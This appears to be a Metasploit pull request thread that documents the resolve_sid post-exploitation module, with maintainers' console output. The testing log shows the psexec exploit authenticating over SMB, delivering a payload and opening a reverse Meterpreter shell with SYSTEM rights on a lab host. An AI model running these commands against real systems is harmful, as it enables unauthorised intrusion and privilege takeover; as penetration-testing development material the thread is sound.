resolve_sid: Add docs and resolve RuboCop violations

[bcoles]

msf6 > use post/windows/gather/resolve_sid
msf6 post(windows/gather/resolve_sid) > set sid S-1-5-32-544
sid => S-1-5-32-544
msf6 post(windows/gather/resolve_sid) > set session 1
session => 1
msf6 post(windows/gather/resolve_sid) > run

[*] SID Type: alias
[*] Name:     Administrators
[*] Domain:   BUILTIN
[*] Post module execution completed
msf6 post(windows/gather/resolve_sid) > 

[bwatters-r7]

Testing

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] 10.5.134.159:445 - Connecting to the server...
[*] 10.5.134.159:445 - Authenticating to 10.5.134.159:445 as user 'msfuser'...
[*] 10.5.134.159:445 - Selecting PowerShell target
[*] 10.5.134.159:445 - Executing the payload...
[*] Sending stage (175686 bytes) to 10.5.134.159
[+] 10.5.134.159:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.159:64613) at 2023-04-24 17:00:22 -0500

meterpreter > sysinfo
Computer        : APT_WIN2016X64
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : TESTDOMAIN
Logged On Users : 4
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getsid
Server SID: S-1-5-18
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > use post/windows/gather/resolve_sid
msf6 post(windows/gather/resolve_sid) > set session 1
session => 1
msf6 post(windows/gather/resolve_sid) > set sid S-1-5-18
sid => S-1-5-18
msf6 post(windows/gather/resolve_sid) > run

[*] SID Type: user
[*] Name:     SYSTEM
[*] Domain:   NT AUTHORITY
[*] Post module execution completed
msf6 post(windows/gather/resolve_sid) > 

[bwatters-r7]

Release Notes

This add documentation for the module post/windows/gather/resolve_sid